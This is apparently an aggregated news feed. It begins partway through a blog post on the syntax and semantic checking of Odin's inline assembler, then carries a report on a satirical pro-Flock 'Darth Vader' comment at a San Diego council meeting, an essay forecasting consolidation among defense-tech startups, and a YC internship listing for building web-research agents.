The same grammar everywhere. The instruction has to be a valid Odin identifier or keyword. Explicit physical registers always take a % sigil ( %rax , %xmm0 , %al ), which keeps them from colliding with your own parameter names and with any global constants from the parent scope. Parameter and scratch names are always bare (because the compiler understands the semantics). Memory operands are always Intel-style effective addresses ( [base + index*scale + disp] ). Labels are always .name . You learn this shape once and it carries to every ISA we ever add, even though the instructions underneath are completely different. It uses the same set of tokens as Odin: number-literals, comments, even the semicolon insertion rules.

This is the same principle I keep coming back to: coherency over consistency . Odin is coherent with itself , not GAS, NASM, or any platform’s traditional assembler. This is Odin’s inline assembler, nothing else.

Intel Order, Not AT&T

There is a decision buried in that last section that deserves to be dragged into the light, because it is the one people argue about most: the body uses Intel operand order —destination first, dst, src —together with Intel-style (but slightly different) memory addressing, rather than the AT&T/GAS conventions.

It is a place where I departed from Plan 9 and Go, even while stealing their best idea. Plan 9’s and Go’s assembler writes operands source-first, left-to-right in dataflow order Go isn’t completely consistent with other conventions. Some of the ordering of the operands is just not consistent with other AT&T assemblers. Lovely, right? /s , so MOVQ $0, AX clears AX with the destination on the right . That is the same operand order as AT&T, and the opposite of Intel. I took the one-grammar-for-every-ISA philosophy from them wholesale, but I did not want to take their operand order. It might sound like an arbitrary choice, but it isn’t.

The first reason is pure coherence with the rest of Odin. mov dst, src reads as dst = src . The destination sits on the left, exactly where the assignment target lives in every other line of Odin you will ever write: x = y , x := y , name: type = value I made the same argument about casting where the type belongs on the left because that is how declarations read. . AT&T’s movl %src, %dst runs the dataflow backwards relative to every assignment in the language surrounding it. When you are reading a template embedded in ordinary Odin code, you should not have to flip your mental model of which way the arrow points halfway down a procedure.

The second reason is the one that matters for a universal syntax specifically: destination-first is not an Intel quirk, it is the majority convention across ISAs . ARM writes add r0, r1, r2 (destination first). RISC-V writes add rd, rs1, rs2 (destination first). MIPS documentation does the same. Source-first ordering is really the parochial one. The x86/GAS tradition was inherited from the DEC and PDP-11 lineage.

If your entire goal is a syntax that reads the same on every target, you should pick the convention most of those targets already use in their own assemblers, not the one peculiar to a single toolchain’s history. Plan 9, somewhat ironically, picked the parochial ordering because of its lineage.

The rest of the AT&T baggage falls away for related reasons:

Memory Operands

AT&T writes disp(base, index, scale) , positional slots you simply have to memorize. Intel writes [base + index*scale + disp] , which reads as the address arithmetic it actually is . Odin uses the latter, and it extends cleanly to the forms other targets need, like [base + index<<scale] , or [base + index>>scale] on arm64.

Operand Size

AT&T bakes the width into the mnemonic ( movb , movw , movl , movq ). Odin does not need to, because the operands are typed , the size comes from the parameter’s type, and where no register pins it, from an explicit [%rax]:u8 annotation Intel’s syntax is to prefix the memory operand with byte , word , dword , or qword , but Odin’s just uses the Odin type system directly. . The type system already carries the information AT&T smears across the numerous different spellings of mov .

Sigils

AT&T decorates every register with % and every immediate with $ , unconditionally. Odin’s % looks superficially similar but is doing a completely different job: it appears only on explicit physical registers, and only to keep them from colliding with the namespace of the user-provided parameters and scratch names. In an idiomatic template you write bare names (e.g. foo , acc , i ) and reach for %rax only when you genuinely need to pin one or refer to the register directly. The sigil marks the exception; it is not blanket decoration smeared over the common case.

Put the two styles beside each other and the difference in readability is not subtle. First the AT&T/GAS form:

movl %eax, %ebx             # ebx = eax   (source is on the LEFT)
addl $1, %ebx               # ebx += 1
movl 8(%rdi,%rsi,4), %ecx   # ecx = *(rdi + rsi*4 + 8)

and the same three instructions in Odin’s Intel order:

mov  %ebx, %eax              // ebx = eax   (destination is on the LEFT)
add  %ebx, 1                 // ebx += 1
mov  %ecx, [%rdi + %rsi*4 + 8]

And remember that this is the worst case for Odin, written entirely in physical registers to make the syntactic contrast fair. In a real template you would be using names, not % -prefixed registers, and the right-hand column sheds almost all of its remaining sigils. That is the saner read I was after: one grammar, destination-first like most of the world, no suffix-mangled mnemonics, memory operands that look like arithmetic, and punctuation only where it is earning its keep. A more likely example would be using named parameters:

mov  x, y
add  x, 1
mov  z, [base + index*4 + disp]

The Template Syntax

This is the general shape of an asm template:

name :: asm(params) -> (results) [bindings] {
    body
}

The params are your inputs, as plain names with Odin types. The results are your outputs, again plain names with types, sharing the same signature syntax as an Odin procedure. The [bindings] block holds everything that is not a plain input or output: the ties, the pins, the scratch registers, the width-views, the clobbers, and the effects. The body is the instruction stream. The params and results are optional, like with a normal procedure type, and the bindings are completely optional if they are not necessary.

The parameter types are just real Odin types: integers, floats, booleans, pointers, multi-pointers, or #simd[N]T . They are not for decoration. The compiler uses the type to decide the register class, the operand width, and whether a given instruction form will even accept it. A #simd[4]f32 is a vector operand and the checker understands this.

Just like normal Odin procedures, you can declare parametric polymorphic constant parameters. A $name parameter is a compile-time immediate ( $ctrl: u8 ), range-checked at the point of instantiation, exactly like any other Odin constant.

Here is one of the simplest examples of the asm syntax:

add_one :: asm(x: u64) -> (r: u64) [
    x -> r,
] {
    inc r
}

In the bindings block, x -> r means that it ties the input x and the output r to the same register, which lowers to a read-write operand. No stupid %0 , no inline "+r" , no manually counting anything. You wrote the names; the names mean what they say.

Multiple Return Values Fall Out For Free

I have discussed multiple return values for many years It is the foundation of Odin’s type system after all. , and inline assembly is a place where this approach pays a dividend which I did not necessarily anticipate when I started Odin.

Assembly instructions are naturally polyadic. rdtsc produces two results in edx and eax . cpuid produces four. div produces a quotient and a remainder simultaneously. In a language with a single return value you have to model all of this with out-parameters, or by stuffing things into a struct/tuple, or by some other contortion. In Odin you just… return them.

rdtsc :: asm() -> (lo, hi: u32) [
    lo = %eax,
    hi = %edx,
] {
    rdtsc
}

cpuid :: asm(leaf: u32) -> (a, b, c, d: u32) [
    leaf -> a = %eax,
    b = %ebx,
    c = %ecx,
    d = %edx,
] {
    cpuid
}

divmod_u64 :: asm(n: u64, d: u64) -> (quo, rem: u64) [
    n -> quo = %rax,
    rem      = %rdx,
    #clobber flags, // this is inferred and thus not necessary,
                    // but it's to show you can make it explicit
] {
    xor %rdx, %rdx   // clear the high half of the dividend
    div d            // rax = rdx:rax / d ; rdx = remainder
}

And at the call site they destructure exactly like any other Odin procedure that returns multiple values:

lo, hi := rdtsc()
quo, rem := divmod_u64(100, 7)
ea, eb, ec, ed := cpuid(0)

If you don’t bind a result, the compiler simply ignores the unused one because you explicitly did not ask for it. A template whose outputs are just ABI artifacts does not force you to destructure them. This is the sort of thing that only feels obvious once it exists. Assembly is a polyadic typed algebra, so the moment your language speaks polyadic typed values fluently, the impedance mismatch that plagues every string-based assembler (or the assembly blocks) just isn’t there.

Ties, Pins, Scratch, and Width-Views

The binding block is an aspect which took a lot of design to think through, and for many people, it does not seem like it should even exist, as if it is an artificial prologue of sorts. But this aspect is also where a lot of the explicit register-pinning lives, stuff that GCC places in its cryptic constraint string thingymabobs (technical term). I want virtually all of the clobbering to be inferred where possible, but where you need to be specific, make it explicit, readable, and named.

There are only a few things that live in the binding block, and they compose cleanly:

Clobbering

You can explicitly clobber registers #clobber %rax , flags/condition-codes #clobber flags , and memory #clobber memory within the binding block too.

Effects

If necessary, you can also specify the “effects” that need to happen, such as #volatile or #align_stack .

A Tie

in -> out , binds an input and an output to one register (a read-write operand). With a pin it fixes the register; without one, the allocator would choose different ones.

A Pin

name = %reg , forces a specific physical register.

A Scratch Register/Parameter

name: T , is a working register whose class comes from its type— i64 gives you a general-purpose register, #simd[4]f32 gives you a vector one. Unpinned scratch is early-clobbered, so it can never accidentally alias an input.

A Width-View

view: T = src , is a second name for src ’s register seen at a narrower width. One register, two widths—the classic setcc -then-arithmetic idiom where you want the low 8 bits by one name and the full 64 by another. This is effectively a form of pinning anyway.

The Usage of Binding Specification Syntax

The right-hand side of = is what disambiguates the last two: = %reg is a register, so it’s a pin; = src is a name, so it’s a width-view. The grammar itself tells you which you meant.

As an example, below is a vector kernel that uses scratch registers of a vector type, and here is exactly why typed parameters matter—the checker knows acc and tmp are xmm registers because you told it #simd[4]f32 :

dot_f32x4 :: asm(a, b: [^]f32, n: i64) -> (result: f32) [
    acc: #simd[4]f32,
    tmp: #simd[4]f32,
    i:   i64,
    #clobber flags,  // the cmp/jl sets flags
    #clobber memory, // we read memory the compiler can't see
                     //
                     // NOTE: neither of these `#clobber` things are
                     // necessary as the compiler infers them from
                     // the usage of the instructions
] {
    xorps  acc, acc
    xor    i, i
.loop:
    movups tmp, [a + i*4]   // scale 4 = sizeof(f32)
    mulps  tmp, [b + i*4]
    addps  acc, tmp
    add    i, 4
    cmp    i, n
    jl     .loop
    haddps acc, acc
    haddps acc, acc
    movss  result, acc
}

One thing to note about labels such as .loop : they are local to the template and mangled per instantiation, so you can inline the same template a hundred times and never get a symbol collision. There are no global labels, on purpose. This is what a hygienic macro system effectively offers.

Prefixes and Other Syntactic Quirks

There are a handful of small syntactic decisions that I had to make when designing this universal syntax for inline assembly templates. And these could easily trip up anyone who has spent years in NASM or GAS. None of them are arbitrary. Almost every one is the same rule wearing a different hat: the assembly body is tokenized and parsed by the same machinery as the rest of Odin, so anything that looks like a quirk is usually just the absence of a special case.

The clearest example is prefixes.

A Prefix Gets Its Own Line

Instruction prefixes like lock , rep , and repne in x86 do not sit in front of the mnemonic the way they do everywhere else. They go on their own line:

atomic_fetch_add :: asm(p: ^i64, delta: i64) -> (old: i64) [
    delta -> old,
] {
    lock
    xadd [p], old
}

memcpy_rep :: asm(dst, src: rawptr, len: uint) -> (end_dst, end_src: rawptr, rem: uint) [
    dst -> end_dst = %rdi,
    src -> end_src = %rsi,
    len -> rem     = %rcx,
] {
    rep
    movsb
}

To an assembly veteran this looks wrong: surely lock xadd is one thing? But think about what the grammar actually says. Every line in a template is instruction [operand{, operand}] , and Odin (like Go or Python) has automatic semicolon insertion, so a newline terminates a statement. If a prefix shared a line with its mnemonic, I would need a special tokenizer exception: “these particular identifiers are not really instructions, they are modifiers, so don’t terminate the statement after them.” I did not want that exception. A prefix is simply an instruction that happens to take no operands and stand on its own line. The grammar stays uniform, and there is one fewer rule.

The obvious worry is that detaching a prefix from its instruction lets them drift apart. It does not, because the checker keeps them married even while the syntax pulls them apart. A prefix must be immediately followed by a real instruction (not a label, not another prefix) and its legality is checked against that following instruction’s form: lock requires a memory destination; rep / repne require a string instruction. Write lock in front of something with no memory destination and the compiler rejects it, by name, at that token. This is the whole philosophy of the design: keep the syntax dumb and uniform, and make the semantic checker smart.

The prefix rule is really just the most visible instance of a broader principle. The body is tokenized with Odin’s own tokenizer, which produces a few more things that look like quirks and are really just consistency.

Comments are // and /**/ , not ; or #

In practically every traditional assembler, ; (or # in GAS) begins a comment. Not here. ; is the statement separator, because that is what it is in Odin, and comments are // and /**/ , because that is what they are in Odin. This is the single quirk most likely to bite someone in the arse when they write their first asm template—muscle memory typing ; to start a comment and gets a syntax error instead of a remark. Odin has a comment syntax already, why should the assembly syntax get its own? Make it coherent with the parent surrounding language.

Number Literals Are Odin’s

No 0FAh , no $FA , no trailing-letter radix soup. A hex literal is 0xFA , binary is 0b1010 , and digit separators work, so you can write rol_imm(0x0000_00FF, 8) and have it read cleanly. The immediates in your assembly are tokenized by the same code as the integers everywhere else in your program, which means they behave identically: same bases, same separators, same overflow rules.

Directives use #

The data and layout directives are #byte , #skip , #nop , and #align , not .byte , .skip , .nops , and .p2align . #byte 0x90, 0x90 emits raw bytes; #align 16 aligns the next instruction to a 16-byte boundary.

The # is not decoration for its own sake, rather it is Odin’s directive sigil, the same one on #simd , #clobber , #volatile , and every other directive in the language. A reader who knows what # means everywhere else already knows what it means here. It is coherent with the rest of Odin’s syntactical design choices.

Labels Start With a Dot

A label is .name: to define and .name to reference. The leading dot marks it as being template-local, and it is mangled per instantiation, so you can inline the same template a hundred times and never collide. There are no global labels inside a template, on purpose, there is nowhere for a stray jmp to escape to. The compiler hypothetically parses labels without the need for a prefixed dot, but that prefixed dot also allows for the ability to keep labels in their own namespace and make it clear from a glance that they are also labels, making it familiar to other people from other assembly syntax and that they may behave slightly differently.


None of these are clever, and that is precisely the point. Each one is just Odin’s existing lexical rule applied inside the assembly, rather than being overridden by some assembler tradition inherited from a different tool. The point is that an asm body reads similarly to the language it is embedded in, and the only genuinely new thing you have to learn is the instructions themselves.

The Compiler Actually Understands It

This is the part I care about most, and the part I think virtually every other [inline] assembler has completely ignored for decades: semantic checking.

Templates are not passed through to the assembler verbatim. The frontend semantically checks every single instruction against the target’s own encoding tables In partial preparation for this inline assembler, we have our own high-performance multi-architecture instruction encoder/decoder/printer library written in Odin: rexcode . It has all of the encoding tables for numerous ISAs and IRs. (the same data the backend encodes from) so the overwhelming majority of mistakes are caught at compile time, at the offending token, in your source, rather than surfacing as an opaque assembler error much later against text you didn’t write.

For each instruction, it checks the mnemonic, the operand count, the operand kind (register vs memory vs immediate vs label), the operand size and class, immediate ranges, and the full validity of memory operands. When a mnemonic has several encoding forms, and it cannot figure out what you wanted, it reports against the closest one (the form your operands most nearly satisfied) so the suggestion points at the encoding you actually meant:

movsss ...   // did you mean `movss`, `movsd`?
...          // operand 2 expected a register, got an immediate
...          // 36893488147419103232 does not fit a 32-bit immediate

Plenty of assemblers have been able to do a “did you mean?” typo fix; that is the bare minimum. However, my genuine complaint with the rest of the [inline] assemblers is this: given that the compiler understands all of the valid forms, all of the required operand kinds, and all of the clobbering information, why do so few inline assemblers offer error messages and suggestions beyond simple typo correction? The information is right there. Why don’t they use it?!

And this is what I wanted for Odin’s inline assembly. It can flag redundant uses of #align_stack when nothing in the body needs an aligned stack, because it understands the instructions. It flags a missing #volatile where the template plainly needs to be treated as volatile, because it understands the instructions. If you mark a template as diverging with -> ! and it demonstrably never diverges in practice, it tells you, because it understands the instructions.

Most clobbers don’t even need to be written—they’re inferred from the instructions you used. In fact, the main reason the explicit #clobber and #volatile forms exist is for the effects the tables genuinely cannot infer, like runtime-dependent AVX-512 masking. The compiler is not a passive conduit to the assembler. It understands the algebra and gives you good error messages when you do something wrong.

This is only possible because the assembly is actually typed and structured rather than some dumb string. You cannot give good semantic diagnostics about a string you refused to understand.

How the Compiler Understands It: rexcode

When I say the compiler understands an instruction, that is not a figure of speech, and it is not magic. It leans on a library.

The front-end checker and the backend—when it lowers to the internal assembler—both reference to the same thing: core:rexcode , a high-performance, multi-architecture instruction encoder/decoder/printer that ships in Odin’s core collection in part as preparation for tooling like this core:rexcode is written designed and originally by Brendan Punsky (dotbmp) . . Ask it whether crc32 crc, [p + i]:u8 is a legal form—what operand kinds and widths it needs, what it clobbers—and it answers from its encoding tables, not from hand-rolled if statements buried in the compiler.

Encoding and decoding are table-driven from a single source of truth: each architecture has one hand-written table, and a metaprogram flattens it into committed binary blobs #load ed into @(rodata) at compile time, so lookups are O(1) against static data with zero allocation on the hot path The Odin compiler uses another metaprogram pass to convert those Odin lookup tables into C++ specific ones, since the compiler is written in C++. . And the tables are verified, not merely asserted correct—round-tripped against llvm-mc , and the retro/embedded ISAs against da65 , ca65 , armips , and binutils . That verification is what earns the checker the right to be strict.

rexcode already covers a lot:

  • x86 — x86-64 and i386, through SSE/AVX/AVX-512/BMI/FMA/AES-NI
  • arm32 and arm64 — AArch32 (A32/T32/Thumb/VFP/NEON) and AArch64
  • mips , riscv , ppc — including Power ISA 3.1 and its 3000-plus entries
  • ppc_vle , mos6502 , mos65816 , rsp — embedded, retro, and the N64’s vector unit
  • an ir/ layer, with wasm and spirv already in it

All behind the same API contract; change the import and your code keeps its shape.

n.b. For inline assembly we only care about the architectures we target, so not all of these are needed for it to work.

Why Did This Not Exist Decades Ago?

The encoding of x86 is a fixed, knowable, finite thing, updated only periodically. So is arm64 , so is RISC-V . And yet every assembler, disassembler, JIT, debugger, emulator, and fuzzer re-derives the same knowledge from scratch; usually badly, usually welded to one tool in one language. LLVM has TableGen , but it is LLVM, in C++, and was never meant to be imported as a library. binutils has opcode tables, but they are per-tool C internals. There has never been a clean, verified, importable “here is every instruction form for a dozen architectures” that a compiler could just pick up.

I’d argue the absence of such a library is the real reason inline assemblers are so bad, as well as general compiler code-generation tooling. Semantic checking assembly isn’t a hard idea; it’s that without a machine-readable model of the instruction set right there, you can’t check against it; so you give up and hand a string to the downstream assembler, and let it do the “complaining”. The string-based design is downstream of the missing-table problem, and why people just bodge everything.

As far as I know, Odin is one of the first languages to ship such a library, especially with so many ISAs and IRs, in one coherent library, in its standard distribution. And because it existed before I started on the inline asm templates, implement was an absolute breeze to build It took approximately 7 days of total time to design the syntax, implement the parsing, integrate the rexcode tables, semantically check the assembly, and lower to LLVM’s IR for inline assembly. I’d say I was pretty productive :D. ; the hard, tedious, mistake-ridden ninety percent was already done and already verified against LLVM. I just built the nice part on top.

Templates, Not Intrinsics

Regular readers will remember that I wrote a whole article titled If Odin Had Macros whose answer was my infamous No . So to address the obvious elephant in the room: these asm templates are hygienic macros. Have I contradicted myself?

I don’t believe that I have, even if the distinction is a similar one I drew for iterators in that article. My objection was never to hygienic macros as such; rather, it was to a general-purpose macro system, because that is a slippery slope with no principled place to stop. A restricted hygienic macro, confined to a single well-understood domain, is a different beast entirely. An asm template can only do one thing: expand a typed, checked instruction stream in place, like a forced-inline procedure. It cannot rewrite your control flow, invent new syntax, or metastasize into the rest of the language. It is hygienic where it needs to be (the per-instantiation label mangling, the register scoping), and it is bounded by construction.

And you know what? It’s absolutely lovely. And because they are templates, they largely remove the need for dedicated compiler intrinsics . A lot of what would otherwise be a hand-written builtin— mfence , an atomic fetch-add, a tzcnt that also reports whether the input was zero—you can just build directly out of the templates themselves:

mfence :: asm() [ #volatile ] { mfence }

atomic_fetch_add :: asm(p: ^i64, delta: i64) -> (old: i64) [
    delta -> old,
] {
    lock
    xadd [p], old   // [p] += old; old = previous [p]
}

tzcnt :: asm(x: u64) -> (count: u64, was_zero: bool) [
    was_zero = %flags.z,
] {
    tzcnt count, x
}

Minor tangent: was_zero = %flags.z is accessing a flag from the pseudo register %flags . The zero flag becomes a typed boolean result of the template, a condition-code placed into an ordinary Odin value that you destructure like any other. This is coherency and consistency, all the way down to the flags register.

Some platform-specific intrinsics will be replaced by exactly these inline asm templates in the near future, and good riddance too. An intrinsic is a black box the compiler hard-codes, which can be a good thing; however, for these platform-specific things, a template is something you can read, check, and write yourself.

The Best Inline Assembler

I said right at the start, I think this is honestly the best inline assembly system in any language right now, and I want to defend that statement, rather than just idly asserting it.

It integrates with the type system instead of ignoring it. It speaks the host language’s polyadic return values natively, because assembly genuinely is polyadic and typed. It gives you explicit, named control over ties, pins, scratch, and width-views instead of hiding intent inside constraint letters. It uses one coherent syntax across every ISA. It is hygienic, so it inlines safely and mangles its own labels. It replaces whole categories of intrinsics. And above all, the compiler understands what you wrote well enough to give you real diagnostics—not just typo fixes, but redundant directives, missing effects, and things which should diverge but don’t.

None of this comes from a “grand type theory”. It is all from the same place all of Odin’s design comes from: doing the thing people actually want, not doing the thing everyone treats as a necessary evil, and asking what it would look like if it respected the language it lived in.

Assembly was typed the whole time. We just had to stop pretending it wasn’t and embrace its very nature.

'Darth Vader' Wants Flock in San Diego

403 Media
www.404media.co
2026-08-20 13:10:52
"The emperor is a fan of Flock, and we must continue utilizing Flock technologies so that we can follow and surveil the rebel scum," Vader said during the meeting....
Original Article

During the public comment portion of a recent San Diego city council meeting, the council called for the next comment to take the podium: "Darth Vader?" As he approached the microphone in his black helmet and cape, his heavy breathing reached the mic before he did.

At the Public Safety and Livable Neighborhoods Committee Meeting on August 19, Vader — whose identity is not revealed during the meeting — spoke passionately in support of Flock in San Diego.

💡

Are you the Dark Lord of the Sith in question? I would love to hear from you. Using a non-work device, you can message me securely on Signal at sam.404. Otherwise, send me an email at sam@404media.co.

"The emperor is a fan of Flock, and we must continue utilizing Flock technologies so that we can follow and surveil the rebel scum as they move from playground to playground, from playground to pool, from pool to gymnasium," Vader said. "Because we all know that the Flock cameras are not only following the license plate readers; they are following children. They are following children in parks and gymnasiums, and we need this. I need this so I can stalk my ex-girlfriend. How will the people trust this city council when this city council continues to vote for surveillance technology that imprisons them?"

0:00

/ 1:54

Vader asked the council members to "work their Jedi mind tricks" and use "double speaking" to convince people that more surveillance is good. He referenced a June 2023 city council vote in favor of San Diego's Unsafe Camping Ordinance , which critics say effectively criminalized homelessness.

"This is what the emperor needs. This technology will help us find the rebel scum and their hidden base on Hoth. This technology will help us find Luke Skywalker as he traverses the universe in his X-wing. This technology is a necessary, necessary force," Vader said.

There are more than 550 Flock cameras installed around the city of San Diego, according to publicly available data aggregated by Flock tracking map DeFlock .

San Diego signed a year-long deal to join Flock's Nova service, giving the San Diego Police Department (SDPD) access to "open source intelligence" and data from other law enforcement agencies, Axios reported in April.

As 404 Media recently reported , Nova supplements license plate data with personal information sourced from other companies and the wider web. “You're going to be able to access data and jump from LPR to person and understand what that context is, link to other people that are related to that person [...] marriage or through gang affiliation, et cetera,” a Flock employee said during an internal company meeting, according to an audio recording obtained by 404 Media. “There’s very powerful linking.”

‘I Would Never Do This To You:’ Protesting Flock, Arizona Man Presents Plan to Surveil Government Officials

“They didn’t understand it was satire in the beginning until the end,” Casa Grande, Arizona resident Jacob Petrosky told 404 Media. “They were not happy, they were very upset.”

404 Media Samantha Cole

In June, SDPD stopped sharing surveillance data with federal authorities and other out-of-state agencies following Attorney General Rob Bonta's office warning the police the actions were likely violating state law that prohibits local police departments from sharing ALPR data with outside law enforcement agencies, according to local news outlet KPBS .

A San Diego man recently spent a month in jail after a Flock camera wrongfully flagged him for a felony crime involving brandishing a handgun, his attorney claims. That man is now preparing to sue the city, the Times of San Diego reported.

If you are the Sith Lord who spoke at the August 19 meeting, please get in touch: sam@404media.co.

About the author

Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

Samantha Cole

The Defense-Tech Bubble Is Headed for Consolidation

Hacker News
foxandlion.pub
2026-08-20 13:01:09
Comments...
Original Article

Hundreds of billions of dollars have poured into defense tech over the past several years. As a result, new defense-tech companies are launching every day. Whenever that much capital chases a single sector, you create the conditions for a bubble.

And as many have commented, that’s exactly what’s happening right now.

You have defense-tech startups raising Series A rounds at $300 million or $400 million valuations with no recurring revenue, no meaningful long-term contracts, and, in many cases, little more than a vision. Case in point, last month Reuters reported that four former DOGE staffers had raised $160M at a $1.4B valuation for a pre-product company. The plan? Maybe to acquire a data center that could be used for AI cyber operations.

Those valuations are built on speculation about what we all hope the market could become rather than what it is. The problem is that the defense market itself isn’t nearly as large as people assume. Yes, the U.S. defense budget is enormous. But that headline number is doing a lot of work in pitch decks right now.


The Real Market Size for Defense-Tech

The Trump Administration’s 2027 budget request is $1.5 trillion. But that is not the defense-tech market. The actual funding lines to buy new technology come only from procurement and RDT&E dollars, which the FY27 request puts at roughly $760 billion combined (and more than a third of that depends on a $280 billion reconciliation package Congress hasn’t passed yet). The durable base is closer to $480 billion. Everything else, including pay and benefits, operations and maintenance, healthcare, facilities, is off the table.

Within the $480 billion, most modernization dollars are already spoken for. Shipbuilding, munitions, aircraft, and nuclear modernization flow through programs of record that are sole-sourced or effectively closed to new entrants. The five legacy primes still capture the vast majority of these obligations.

So for the genuinely contestable slice of the pie (i.e., autonomy, drones, software, sensing, space), the FY27 request carves out roughly $54 billion for autonomous systems and $39 billion for drone procurement. That is real money. But those are requests, not appropriations, and even appropriated dollars will likely flow mostly to established players.

If we look backwards, we can see how this plays out.

In FY25, federal obligations to all VC and PE-backed national-security companies totaled $4.3 billion. At the same time, nearly $50 billion of venture capital invested in the sector last year. More than ten dollars went in for every dollar of government revenue that came out.

So the honest sizing isn’t $1.5 trillion. For new entrants, funded, scalable program revenue is a single-digit-billion market today that might reach the low tens of billions by decade’s end. Now divide that market across hundreds of venture-backed startups.

The math simply doesn’t support the sky-high valuations today.

There’s another reality investors often underestimate: the government doesn’t want to manage hundreds of niche vendors. It prefers working with a relatively small number of trusted, reliable prime contractors and systems integrators with experience on the battlefield. That’s how procurement works.

So as capital pours into defense tech, more and more founders are launching companies to chase a market that, in reality, is much smaller than their valuations can justify.

Eventually, there will be a reckoning. And my bet is that it’s coming in the next 18 months.

Many of these companies won’t make it beyond Series B. They’ll struggle to raise follow-on rounds because they have already priced themselves too aggressively, and the next investors won’t support those valuations. The capital simply won’t be there.

When that happens, founders will have one real option: consolidation.


What Consolidation Will Look Like

The rumblings are already starting. Several companies in the past year have made the leap into the public markets via SPACs or microcap-IPOs ( see Merlin Labs , Elroy Air, and Swarmer ). Others are testing the waters with peers and investors about M&A. The Primes and Neo-Primes have been making significant acquisitions with M&A activity up 40% in 2025, and 166% in Q1 2026.

Here is what I think the consolidation wave will look like:

  • At the top of the market, there will be mergers of mutual convenience among well-positioned peers . This will look like two or more venture-backed companies combining complementary technology and contract bases to reach production scale neither could hit alone. These conversations are already happening, and the best companies are initiating them from positions of strength.

  • Next, recapitalizations driven by excessive valuations . Companies with real technology but broken cap tables will take structured rounds or outright recaps that reset valuations and wash out preference stacks so new capital can come in clean. While painful for earlier investors, these may be the only path to survival for companies that pushed valuations up too high too fast.

  • Then acquisitions by the primes and by the new mega-startups . These giants will function as acquirers of last resort for high quality teams, technology, and contracts, which have no other options.

  • Then the rollups . Several private-equity firms are already assembling capital to build platforms around scaled anchor companies, which can then tuck-in niche vendors for component parts, test infrastructure, sustainment, and software. Expect much more of this as prices fall (see Carlyle , Capital Meridien , and Advent ).

The companies that survive won’t necessarily be the ones with the biggest valuations today. They’ll be the ones that reach a meaningful scale. And increasingly, the fastest path to scale won’t be organic growth — it will be mergers.


A Test For Who Survives

Here are five questions that I would be asking:

  • Do you have real revenue? The color of money matters here. Startups that have a funded program of record, an appropriated line, or production orders with follow-on demand behind them count are in a good position. A pilot, SBIR, prototype OTA, or strategic partnership may be useful, but it is not the same thing. Most defense startups can show that the government likes their product. Far fewer can show that the government has made room in the budget to buy it at scale.

  • Do you own your customer relationships? A company with its own prime contract has leverage and a path to expand. A subcontractor that depends on another company to carry its product into the program is in a precarious position. That intermediary can squeeze margins, replace the technology, or bring the capability in-house. If your product reaches the warfighter through someone else’s contract, you may have revenue, but you do not control it.

  • Does your technology work reliably in the field? Defense-tech has to deliver in the harshest conditions reliably for the warfighter. Demonstrations are a good step, but your tech has to be deployed in the field with proven results to be relevant.

  • Do your unit economics scale? Venture capital can subsidize early units and make weak economics look better than they are. Fixed-price production removes that cushion. It exposes the true cost of labor, materials, rework, supplier risk, and working capital. The test is whether the fiftieth system arrives on time, carries a real margin, and comes from a supply chain you can rely on.

  • Do you have enough runway? Good businesses get stranded by bad structures. If the company is priced too high to fund and too encumbered to merge, operating progress may not be enough to save it.

Four or five yeses, and you’re in a great position to scale. Two or three, and you should be looking to take aggressive action now, and potentially to merge from strength. Fewer than two, you’re selling a story, and that story is likely to be repriced by the market sooner than later.

Experienced founders already understand this. They recognize that today’s window isn’t about maximizing valuation; it’s about building something durable. They’re taking action now, before the market forces the issue. Because eventually, many of today’s venture-backed defense startups won’t disappear. They’ll simply be recapped, merged, and absorbed into a much smaller number of companies.


Jordan Blashek is a deep tech, defense, and space ventures investor, operator, author, and Marine Corps veteran. He is a general partner at Overmatch Ventures , the chairman of Endless Frontiers , and co-author of Union: A Democrat, A Republican, and a Search for Common Ground . Follow him on LinkedIn or X .

Originally published in Building Our Future . Reproduced with permission.


Thank you for reading. We always welcome fresh perspectives and new contributions. If you are interested in writing for Fox and Lion or have a piece that you would like to publish with us, please feel free submit a pitch via the Submissions Portal . We warmly welcome active and former servicemembers, and members of the defence tech community. Additionally, if you are hiring, contact us to get your job featured in our next Defence Tech Jobs newsletter.

Sixtyfour (YC P25) Is Hiring

Hacker News
www.ycombinator.com
2026-08-20 13:01:05
Comments...
Original Article

Software Engineering Intern

$6K - $10K / monthly San Francisco, CA, US

School year

Junior and above

Skills

Amazon Web Services (AWS), Kubernetes, Python, TypeScript, Machine Learning, Docker, Fine-tuning, Evals

Connect directly with founders of the best YC-funded startups.

Apply to role ›

The Opportunity

Sixtyfour turns a single name, email, or domain into a full, verified picture of a person or company — by sending AI agents out to research the open web the way a sharp analyst would, then checking and scoring what they find. You'll build real parts of that: the agents that reason and gather evidence, the systems that run them at scale, and the product people use to see the results.

How We Work

We spend most of our time — call it 80% — understanding the problem deeply, planning, and designing the system before a line gets written. Getting the design right is the hard part and the best part. We hold a high bar, we stay on the edge of what's possible, and everything we ship has to hold up at scale. If you love the part of engineering that happens on the whiteboard — arguing the right design, the failure modes, the tradeoffs — you'll fit here.

What You'll Do

  • Build AI agents for OSINT and deep web research — design agents that investigate people and companies across the open web, public records, social platforms, and other sources, then cross-reference and structure what they find.
  • Own the thinking, not just the code — dig into the problem, weigh the designs, and write the plan before you build, because that's where the real leverage is.
  • Design systems that hold up at scale — reason through data volume, concurrency, latency, and cost up front, so what you build survives real load.
  • Ship features end to end — design, build, test, deploy — so customers get something new in weeks, not quarters.
  • Build and sharpen the AI agents that research people and companies, so enrichment returns more accurate, better-sourced answers.
  • Add new data sources and tools to the enrichment engine, so agents can reach information they couldn't before.
  • Write evals and tests that prove whether a model or agent change actually made results better, so the team improves on evidence instead of hope.
  • Make long-running jobs fast and reliable — batching, caching, retries, orchestration — so millions of records enrich without falling over.

What We're Looking For

Must-have — this is a high bar, and we mean it:

  • Strong engineering fundamentals. You understand how real systems work underneath — concurrency, APIs, databases, how the web fits together — and why they're built that way. Syntax is the easy part; you get the concepts beneath it.
  • System-design and architecture instinct. Hand you a fuzzy problem and you can break it into pieces, find the failure modes, weigh the tradeoffs, and design something that holds. You think before you build.
  • You think at scale by default. You reason about data volume, concurrency, latency, and cost without being told to — and you can point to real examples where you built, scaled, or seriously worked through large systems.
  • You've shipped something real and can defend every decision — a project, open source, research, a hackathon — and go deep on why you designed it the way you did.
  • You write solid code in at least one language and learn new ones fast. Our stack is mostly Python (backend and AI) and TypeScript/React (product) — you need one and the ability to pick up the other.
  • Genuine curiosity about LLMs and agents. You want to build with them, not just use them.
